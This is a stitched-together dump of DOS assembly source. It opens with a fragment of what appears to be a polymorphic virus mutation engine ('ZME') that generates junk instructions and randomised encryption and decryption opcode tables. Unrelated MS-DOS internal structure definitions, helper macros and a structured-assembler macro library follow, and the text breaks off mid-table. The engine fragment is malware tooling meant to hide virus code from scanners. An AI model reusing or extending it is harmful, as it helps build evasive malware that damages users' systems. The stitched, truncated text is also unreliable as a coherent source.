ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call RND_GET_BYTE DOIF NZ ; jz @@ret ;maybe :) mov al, opJC adc al, 0 stosb cmp si, offset cf_1 DOIF A ;if instruct > 0A -> 73<=>72 dec ax DONE cmp al, opJC DOIF NE ;73(jnc) call RND_GET_THREE_BITS inc ax ;al=1..8 stosb ;over shit call shit_ax DOELSE ;72(jc) call RND_GET_BYTE ; to shit stosb DONE DONE pblabel unprotect_reg2 jmp unprotect_reg ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ; high byte holds the opcode, low byte holds the second byte of the ; instruction, i.e. holds the reg/mod, etc. the bottom 2 bits of the low ; byte hold the maximum amount to add to the high byte in creating the ; instruction. This allows one word to generate more than one instruction, ; including the byte or word forms of the instructions ; note that this is reverse of what will be actually stored ;---------------------------------------------------------------------------- ONEHALF = 0 TWOHALF = 1 ;USE _ANY_ REGISTER FOR THIS OPERATION BINOP = 0 ;TWO ARGUMENT OPERATION UNEOP = 1 ;ONE ARGUMENT OPERATION ONLY_THIS_OPCODE = 00b USE_ANY_SIZE = 01b INCL_NEXT_OPCODE = 11b ;---------------------------------------------------------------------------- dop macro highopcode, shiftneg, lowpcode, twohalf, secdlim db highopcode or shiftneg, lowpcode or ((twohalf shl 2) and 4) or secdlim endm ;---------------------------------------------------------------------------- pblabel garble_table ;for decrypt pblabel encrypt_opcode_table dop 10000000b, BINOP, 11110000b, ONEHALF, USE_ANY_SIZE ;³ dop 11110110b, UNEOP, 11011000b, ONEHALF, USE_ANY_SIZE ;³ dop 11010000b, UNEOP, 11000000b, ONEHALF, USE_ANY_SIZE ;³ ;³ dop 10000000b, BINOP, 11000000b, ONEHALF, USE_ANY_SIZE ;³Ú dop 00000010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE ;³³ dop 00110010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE ;³³ dop 00101010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE ;³³ dop 10000000b, BINOP, 11101000b, ONEHALF, USE_ANY_SIZE ;À³ ; ³ dop 11010000b, UNEOP, 11001000b, ONEHALF, USE_ANY_SIZE ; ³ dop 11110110b, UNEOP, 11011000b, ONEHALF, USE_ANY_SIZE ; ³ dop 10000000b, BINOP, 11110000b, ONEHALF, USE_ANY_SIZE ; ³ ; for encrypt pblabel end_encrypt_opcode_table ; ^---^^-simetrichno sizeof_encrypt_opcode_table equ ($-encrypt_opcode_table) ;startup pblabel enc_mov_imm dop 10110000b, BINOP, 11000000b, ONEHALF, USE_ANY_SIZE dop 10001010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE dop 10001010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE dop 10001010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE dop 00001010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE dop 00010010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE dop 00011010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE dop 00100010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE; ; dop 00111000b, BINOP, 00000000b, TWOHALF, INCL_NEXT_OPCODE dop 00111010b, BINOP, 00000000b, TWOHALF, USE_ANY_SIZE ; dop 10001010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE ; ; dop 10001010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE; dop 10000000b, BINOP, 11001000b, ONEHALF, USE_ANY_SIZE dop 10000000b, BINOP, 11010000b, ONEHALF, USE_ANY_SIZE dop 10000000b, BINOP, 11011000b, ONEHALF, USE_ANY_SIZE dop 10000000b, BINOP, 11100000b, ONEHALF, USE_ANY_SIZE ; dop 10000000b, BINOP, 11100000b, ONEHALF, USE_ANY_SIZE dop 10000100b, BINOP, 00000000b, TWOHALF, USE_ANY_SIZE dop 11010000b, UNEOP, 11001000b, ONEHALF, INCL_NEXT_OPCODE dop 11010000b, UNEOP, 11010000b, ONEHALF, INCL_NEXT_OPCODE dop 11010000b, UNEOP, 11011000b, ONEHALF, INCL_NEXT_OPCODE dop 11010000b, UNEOP, 11100000b, ONEHALF, INCL_NEXT_OPCODE dop 11010000b, UNEOP, 11101000b, ONEHALF, INCL_NEXT_OPCODE dop 11010000b, UNEOP, 11111000b, ONEHALF, INCL_NEXT_OPCODE ; dop 11010000b, UNEOP, 11111000b, ONEHALF, INCL_NEXT_OPCODE dop 11110110b, UNEOP, 11010000b, ONEHALF, USE_ANY_SIZE ; ^^ |= (RND and ^^) ; ^ 1 -> use any register & memory ; ^^ = 0 possible use memory, 11- registers only ; ^- if 1 then not need arguments(shift, not, neg) pblabel enc_test dop 11110110b, BINOP, 11000000b, TWOHALF, USE_ANY_SIZE dop 10000000b, BINOP, 11111000b, TWOHALF, USE_ANY_SIZE ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel onebyte_table stc ; | clc ; | cld ; | cmc ; | sahf ; | pblabel onebyte_table_ax ; | cli ;-\ dec ax ; | inc ax ;-/-\ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ|ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ lahf ; | daa ; | das ; | cbw ; | xlat ; / ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;PMtest db 050h,0B8h,086h,016h,0CDh,02Fh,023h,0C0h,058h,075h,006h,05Fh,055h db 08Bh,0ECh,0FFh,0E7h pblabel ZME_END ends end ;read/write int 25/26 AbsDiskIORec STRUC AbsDisk_start_sect dd ? ; lStartSect logical sector no. to start r/w AbsDisk_sect_num dw ? ; wSectCnt number of sectors to read/write AbsDisk_buffer dd ? ; pBuffer FAR addr of data buffer ENDS ; SCCSID = @(#)arena.asm 1.1 85/04/09 ;BREAK ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; C A V E A T P R O G R A M M E R ; ; ; ; ; arena item ; arena STRUC arena_signature DB ? ; 4D for valid item, 5A for last item arena_owner DW ? ; owner of arena item arena_size DW ? ; size in paragraphs of item arena ENDS ; ; CAUTION: The routines in ALLOC.ASM rely on the fact that arena_signature ; and arena_owner_system are all equal to zero and are contained in DI. Change ; them and change ALLOC.ASM. arena_owner_system EQU 0 ; free block indication arena_signature_normal EQU 4Dh ; valid signature, not end of arena arena_signature_end EQU 5Ah ; valid signature, last block in arena ; ; ; C A V E A T P R O G R A M M E R ; ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; SCCSID = @(#)dirent.asm 1.1 85/04/10 ; SCCSID = @(#)dirent.asm 1.1 85/04/10 ;Break ; ; +---------------------------+ ; | (12 BYTE) filename/ext | 0 0 ; +---------------------------+ ; | (BYTE) attributes | 11 B ; +---------------------------+ ; | (10 BYTE) reserved | 12 C ; +---------------------------+ ; | (WORD) time of last write | 22 16 ; +---------------------------+ ; | (WORD) date of last write | 24 18 ; +---------------------------+ ; | (WORD) First cluster | 26 1A ; +---------------------------+ ; | (DWORD) file size | 28 1C ; +---------------------------+ ; ; First byte of filename = E5 -> free directory entry ; = 00 -> end of allocated directory ; Time: Bits 0-4=seconds/2, bits 5-10=minute, 11-15=hour ; Date: Bits 0-4=day, bits 5-8=month, bits 9-15=year-1980 ; dir_entry STRUC dir_name DB 11 DUP (?) ; file name dir_attr DB ? ; attribute bits dir_pad DB 10 DUP (?) ; reserved for expansion dir_time DW ? ; time of last write dir_date DW ? ; date of last write dir_first DW ? ; first allocation unit of file dir_size_l DW ? ; low 16 bits of file size dir_size_h DW ? ; high 16 bits of file size dir_entry ENDS attr_read_only EQU 1h attr_hidden EQU 2h attr_system EQU 4h attr_volume_id EQU 8h attr_directory EQU 10h attr_archive EQU 20h attr_device EQU 40h ; This is a VERY special bit. ; NO directory entry on a disk EVER ; has this bit set. It is set non-zero ; when a device is found by GETPATH attr_all EQU attr_hidden+attr_system+attr_directory ; OR of hard attributes for FINDENTRY attr_ignore EQU attr_read_only+attr_archive+attr_device ; ignore this(ese) attribute(s) during ; search first/next attr_changeable EQU attr_read_only+attr_hidden+attr_system+attr_archive ; changeable via CHMOD ; SCCSID = @(#)dpb.asm 1.1 85/04/10 ; SCCSID = @(#)dpb.asm 1.1 85/04/10 ;BREAK ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; C A V E A T P R O G R A M M E R ; ; ; dpb STRUC dpb_drive DB ? ; Logical drive # assoc with DPB dpb_UNIT DB ? ; Driver unit number of DPB dpb_sector_size DW ? ; Size of physical sector in bytes dpb_cluster_mask DB ? ; Sectors/cluster - 1 dpb_cluster_shift DB ? ; Log2 of sectors/cluster dpb_first_FAT DW ? ; Starting record of FATs dpb_FAT_count DB ? ; Number of FATs for this drive dpb_root_entries DW ? ; Number of directory entries dpb_first_sector DW ? ; First sector of first cluster dpb_max_cluster DW ? ; Number of clusters on drive + 1 dpb_FAT_size DB ? ; Number of records occupied by FAT dpb_dir_sector DW ? ; Starting record of directory dpb_driver_addr DD ? ; Pointer to driver dpb_media DB ? ; Media byte dpb_first_access DB ? ; This is init. to -1 to force a media ; check the first time this DPB is used dpb_next_dpb DD ? ; Pointer to next Drive parameter block dpb_next_free DW ? ; Cluster # of last allocated cluster dpb_free_cnt DW ? ; Count of free clusters, -1 if unknown dpb ENDS DPBSIZ EQU SIZE dpb ; Size of the structure in bytes DSKSIZ = dpb_max_cluster ; Disk size (used during init only) ; ; ; C A V E A T P R O G R A M M E R ; ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; SCCSID = @(#)exe.asm 1.1 85/04/10 ; SCCSID = @(#)exe.asm 1.1 85/04/10 ;BREAK ; ; EXEC arg block - load/go program ; ; ; The following get used as arguments to the EXEC system call. They indicate ; whether or not the program is executed or whether or not a program header ; gets created. ; exec_func_no_execute EQU 1 ; no execute bit exec_func_overlay EQU 2 ; overlay bit Exec0 STRUC Exec0_environ DW ? ; seg addr of environment Exec0_com_line DD ? ; pointer to asciz command line Exec0_5C_FCB DD ? ; default fcb at 5C Exec0_6C_FCB DD ? ; default fcb at 6C Exec0 ENDS Exec1 STRUC Exec1_environ DW ? ; seg addr of environment Exec1_com_line DD ? ; pointer to asciz command line Exec1_5C_FCB DD ? ; default fcb at 5C Exec1_6C_FCB DD ? ; default fcb at 6C Exec1_SP DW ? ; stack pointer of program Exec1_SS DW ? ; stack seg register of program Exec1_IP DW ? ; entry point IP Exec1_CS DW ? ; entry point CS Exec1 ENDS Exec3 STRUC Exec3_load_addr DW ? ; seg address of load point Exec3_reloc_fac DW ? ; relocation factor Exec3 ENDS ; ; Exit codes in upper byte ; Exit_terminate EQU 0 Exit_abort EQU 0 Exit_Ctrl_C EQU 1 Exit_Hard_Error EQU 2 Exit_Keep_process EQU 3 ; ; EXE file header ; EXE_file STRUC exe_signature DW ? ; must contain 4D5A (yay zibo!) exe_len_mod_512 DW ? ; low 9 bits of length exe_pages DW ? ; number of 512b pages in file exe_rle_count DW ? ; count of reloc entries exe_par_dir DW ? ; number of paragraphs before image exe_min_BSS DW ? ; minimum number of para of BSS exe_max_BSS DW ? ; max number of para of BSS exe_SS DW ? ; stack of image exe_SP DW ? ; SP of image exe_chksum DW ? ; checksum of file (ignored) exe_IP DW ? ; IP of entry exe_CS DW ? ; CS of entry exe_rle_table DW ? ; byte offset of reloc table exe_iov DW ? ; overlay number (0 for root) exe_sym_tab DD ? ; offset of symbol table in file EXE_file ENDS exe_valid_signature EQU 5A4Dh exe_valid_old_signature EQU 4D5Ah symbol_entry STRUC sym_value DD ? sym_type DW ? sym_len DB ? sym_name DB 255 dup (?) symbol_entry ENDS ; SCCSID = @(#)find.asm 1.1 85/04/10 ; SCCSID = @(#)find.asm 1.1 85/04/10 ;Break find_buf STRUC ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; C A V E A T P R O G R A M M E R ; ; ; find_buf_drive DB ? ; drive of search find_buf_name DB 11 DUP (?) ; formatted name find_buf_sattr DB ? ; attribute of search find_buf_LastEnt DW ? ; LastEnt find_buf_DirStart DW ? ; DirStart find_buf_NetID DB 4 DUP (?) ; Reserved for NET ; ; ; C A V E A T P R O G R A M M E R ; ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; find_buf_attr DB ? ; attribute found find_buf_time DW ? ; time find_buf_date DW ? ; date find_buf_size_l DW ? ; low(size) find_buf_size_h DW ? ; high(size) find_buf_pname DB 13 DUP (?) ; packed name find_buf ENDS ; SCCSID = @(#)pdb.asm 1.1 85/04/10 ;BREAK ; ; Process data block (otherwise known as program header) ; FilPerProc EQU 20 Process_data_block STRUC PDB_Exit_Call DW ? ; INT int_abort system terminate PDB_block_len DW ? ; size of execution block DB ? PDB_CPM_Call DB 5 DUP (?) ; ancient call to system PDB_Exit DD ? ; pointer to exit routine PDB_Ctrl_C DD ? ; pointer to ^C routine PDB_Fatal_abort DD ? ; pointer to fatal error ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; C A V E A T P R O G R A M M E R ; ; ; PDB_Parent_PID DW ? ; PID of parent (terminate PID) PDB_JFN_Table DB FilPerProc DUP (?) ; indices into system table ; ; ; C A V E A T P R O G R A M M E R ; ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; PDB_environ DW ? ; seg addr of environment ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; C A V E A T P R O G R A M M E R ; ; ; PDB_User_stack DD ? ; stack of self during system calls PDB_JFN_Length DW ? ; number of handles allowed PDB_JFN_Pointer DD ? ; pointer to JFN table PDB_Next_PDB DD ? ; pointer to nested PDB's PDB_PAD1 DB 14h DUP (?) ; ; ; C A V E A T P R O G R A M M E R ; ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; PDB_Call_system DB 5 DUP (?) ; portable method of system call ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; C A V E A T P R O G R A M M E R ; ; ; PDB_PAD2 DB 7h DUP (?) ; ; ; C A V E A T P R O G R A M M E R ; ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; Process_data_block ENDS ; SCCSID = @(#)sf.asm 1.1 85/04/10 ;BREAK ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; C A V E A T P R O G R A M M E R ; ; ; ; ; system file table ; SF STRUC SFLink DD ? SFCount DW ? ; number of entries SFTable DW ? ; beginning of array of the following SF ENDS ; ; system file table entry ; sf_entry STRUC sf_ref_count DW ? ; number of processes sharing entry ; if FCB then ref count sf_mode DW ? ; mode of access or high bit on if FCB sf_attr DB ? ; attribute of file sf_flags DW ? ;Bits 8-15 ; Bit 15 = 1 if remote file ; = 0 if local file or device ; Bit 14 = 1 if date/time is not to be ; set from clock at CLOSE. Set by ; FILETIMES and FCB_CLOSE. Reset by ; other reseters of the dirty bit ; (WRITE) ; Bit 13 = Pipe bit (reserved) ; ; Bits 0-7 (old FCB_devid bits) ; If remote file or local file, bit ; 6=0 if dirty Device ID number, bits ; 0-5 if local file. ; bit 7=0 for local file, bit 7 ; =1 for local I/O device ; If local I/O device, bit 6=0 if EOF ; Bit 5=1 if Raw mode ; Bit 0=1 if console input device ; Bit 1=1 if console output device ; Bit 2=1 if null device ; Bit 3=1 if clock device sf_devptr DD ? ; Points to DPB if local file, points ; to device header if local device, ; points to net device header if ; remote sf_firclus DW ? ; First cluster of file (bit 15 = 0) sf_time DW ? ; Time associated with file sf_date DW ? ; Date associated with file sf_size DD ? ; Size associated with file sf_position DD ? ; R/W pointer or LRU count for FCBs ; ; Starting here, the next 7 bytes may be used by the file system to store an ; ID ; sf_cluspos DW ? ; Position of last cluster accessed sf_lstclus DW ? ; Last cluster accessed sf_dirsec DW ? ; Sector number for this file sf_dirpos DB ? ; Offset of this entry in the above ; ; End of 7 bytes of file-system specific info. ; sf_name DB 11 DUP (?) ; 11 character name that is in the ; directory entry. This is used by ; close to detect file deleted and ; disk changed errors. ; SHARING INFO sf_chain DD ? ; link to next SF sf_UID DW ? sf_PID DW ? sf_MFT DW ? sf_entry ENDS sf_netid EQU BYTE PTR sf_cluspos sf_OpenAge EQU WORD PTR sf_position+2 sf_LRU EQU WORD PTR sf_position sf_default_number EQU 5h ; ; Note that we need to mark an SFT as being busy for OPEN/CREATE. This is ; because an INT 24 may prevent us from 'freeing' it. We mark this as such ; by placing a -1 in the ref_count field. ; sf_busy EQU -1 ; mode mask for FCB detection sf_isfcb EQU 1000000000000000B ; Flag word masks sf_isnet EQU 1000000000000000B sf_close_nodate EQU 0100000000000000B sf_pipe EQU 0010000000000000B sf_no_inherit EQU 0001000000000000B sf_net_spool EQU 0000100000000000B ; Local file/device flag masks devid_file_clean EQU 40h ; true if file and not written devid_file_mask_drive EQU 3Fh ; mask for drive number devid_device EQU 80h ; true if a device devid_device_EOF EQU 40h ; true if end of file reached devid_device_raw EQU 20h ; true if in raw mode devid_device_special EQU 10h ; true if special device devid_device_clock EQU 08h ; true if clock device devid_device_null EQU 04h ; true if null device devid_device_con_out EQU 02h ; true if console output devid_device_con_in EQU 01h ; true if consle input ; ; ; C A V E A T P R O G R A M M E R ; ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; ; structure of devid field as returned by IOCTL is: ; ; BIT 7 6 5 4 3 2 1 0 ; |---|---|---|---|---|---|---|---| ; | I | E | R | S | I | I | I | I | ; | S | O | A | P | S | S | S | S | ; | D | F | W | E | C | N | C | C | ; | E | | | C | L | U | O | I | ; | V | | | L | K | L | T | N | ; |---|---|---|---|---|---|---|---| ; ISDEV = 1 if this channel is a device ; = 0 if this channel is a disk file ; ; If ISDEV = 1 ; ; EOF = 0 if End Of File on input ; RAW = 1 if this device is in Raw mode ; = 0 if this device is cooked ; ISCLK = 1 if this device is the clock device ; ISNUL = 1 if this device is the null device ; ISCOT = 1 if this device is the console output ; ISCIN = 1 if this device is the console input ; ; If ISDEV = 0 ; EOF = 0 if channel has been written ; Bits 0-5 are the block device number for ; the channel (0 = A, 1 = B, ...) ; devid_ISDEV EQU 80h devid_EOF EQU 40h devid_RAW EQU 20h devid_SPECIAL EQU 10H devid_ISCLK EQU 08h devid_ISNUL EQU 04h devid_ISCOT EQU 02h devid_ISCIN EQU 01h devid_block_dev EQU 1Fh ; mask for block device number ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ s_y MACRO oprt, cntr, dsiz &oprt&cntr&dsiz MACRO REPT cntr &oprt&&dsiz ENDM ENDM ENDM ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ s_z MACRO oprt, cntr, cmmd oprt&cntr MACRO REPT cntr shr 1 &cmmd&w ENDM IF cntr and 1 &cmmd&b ENDIF ENDM ENDM ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IRPC cntr, 12345 IRP dsiz, IRP oprt, s_y oprt, cntr, dsiz ENDM ENDM s_z movs, cntr, movs s_z add_di, cntr, scas s_z add_si, cntr, lods s_z add_sdi, cntr, cmps ENDM ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PURGE s_y, s_z ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ STO_BYTE MACRO value:REQ mov al, value stosb ENDM ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ STO_WORD_ MACRO value mov ax, value stosw ENDM ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ STO_WORD MACRO value IF value NE 0 mov ax, value ELSE sub ax, ax ENDIF stosw ENDM ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ STO_TWO_BYTE MACRO value1:REQ, value2:REQ ; STO_WORD (value2 shl 8) or value1 IF (value2 shl 8) or value1 mov ax, (value2 shl 8) or value1 ELSE sub ax, ax ENDIF stosw ENDM ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ MOVSEG macro to_seg, from_seg push from_seg pop to_seg endm ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ MASKA MACRO regis1:REQ, mask2:REQ ;MASKA al, 001xx110 ;and al, 00?11??0 ;or al, 00100110 local x, tmp_mask x=1 tmp_mask = 0 IRPC sb, mask2 tmp_mask = tmp_mask*2+sb ENDM and regis1, tmp_mask x=0 tmp_mask = 0 IRPC sb, mask2 tmp_mask = tmp_mask*2+sb ENDM IF tmp_mask NE 0 or regis1, tmp_mask ENDIF ENDM ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ MIN MACRO frst, scnd local nomov cmp frst, scnd jb nomov mov frst, scnd nomov: ENDM ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ MAX MACRO frst, scnd local nomov cmp frst, scnd ja nomov mov frst, scnd nomov: ENDM ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ crproc MACRO procname, proc_crc public procname procname proc extrn cryproc:near call cryproc dw ? dw proc_crc ENDM ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pbproc MACRO procname public procname procname proc ENDM ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel MACRO lblname public lblname lblname: ENDM ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ;º The STructured AssembleR language macros º ;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; (C) Dmitry Timchenko 1989-1991 ; Version 1.4 ; Turbo Assembler Version. LONG specifier is UNNECESSARY ifndef ??version .err **** Turbo Assembler required. For MASM use STAR13.INC **** endif if ??version lt 0200h .err **** Turbo Assembler 2.0 or higher required. Use STAR13T.INC **** endif JUMPS ;It makes all dirty work of SHORT/LONG ; recognizing ( see STAR13.INC ) ;ÚÄÄÄÄÄ Auxiliary (implementation) macros ÄÄÄÄÄ¿ ; Current level counters settings S@ MACRO PN,PL,PV PN&@&PL = PN&@&PL&PV T@&PN = PN&@&PL ENDM S@T MACRO PL T@B = B@&PL T@E = E@&PL T@X = X@&PL ENDM ; Label (MARK) settings M@ MACRO PM,PL,PN PM&PL&PN = $ ENDM ; Forward jump vector generation ; PC conditon code ( Z/NZ/C/NC... ) ; PM label header ; PL nesting level ; PN counter for this level ; INV 0/1 - inverse condition J@F MACRO PC,PM,PL,PN,INV V@ = PM&PL&PN ;Label to jump to IFB ;Command: "JMP" IF INV EQ 0 ;INV=0 --> Need command jmp V@ ENDIF ;else --> Needn't command ELSE ;Command: "J" IF INV EQ 0 ;YesJump - straight condition _YJ&PC V@ ELSE _NJ&PC V@ ;NoJmp - reverse condition ENDIF ENDIF ;(Command) ENDM ; Reverse jump vector generation J@R MACRO PC,PM,PL,PN V@ = PM&PL&PN IFB ;; Command: JMP jmp V@ ELSE;; Command: J _YJ&PC V@ ENDIF;; (Command) ENDM ; ELSE mode settings EL@I MACRO PL,VAL IFNB L@I&PL = VAL ENDIF TL@ = L@I&PL ENDM ; An auxiliary macro ; for counters initialization I@NIT MACRO PL B@&PL = 0 E@&PL = 0 X@&PL = 0 L@I&PL = 0 ENDM ; Variables initial settings macro. INITS MACRO ;;********** L@ = 10 REPT 10 L@ = L@-1 I@NIT %L@ ENDM _YJO EQU JO _YJNO EQU JNO _YJB EQU JB _YJNAE EQU _YJB _YJC EQU _YJB _YJAE EQU JAE _YJNB EQU _YJAE _YJNC EQU _YJAE _YJE EQU JE _YJZ EQU _YJE _YJNE EQU JNE _YJNZ EQU _YJNE _YJBE EQU JBE _YJNA EQU _YJBE _YJA EQU JA _YJNBE EQU _YJA _YJS EQU JS _YJNS EQU JNS _YJP EQU JP _YJPE EQU _YJP _YJNP EQU JNP _YJPO EQU _YJNP _YJL EQU JL _YJNGE EQU _YJL _YJGE EQU JGE _YJNL EQU _YJGE _YJLE EQU JLE _YJNG EQU _YJLE _YJG EQU JG _YJNLE EQU _YJG _YJCXZ EQU JCXZ _YJLU EQU LOOP _YJLUNE EQU LOOPNE _YJLUNZ EQU _YJLUNE _YJLUE EQU LOOPE _YJLUZ EQU _YJLUNE _NJO EQU JNO _NJNO EQU JO _NJB EQU JNB _NJNAE EQU _NJB _NJC EQU _NJB _NJAE EQU JNAE _NJNB EQU _NJAE _NJNC EQU _NJAE _NJE EQU JNE _NJZ EQU _NJE _NJNE 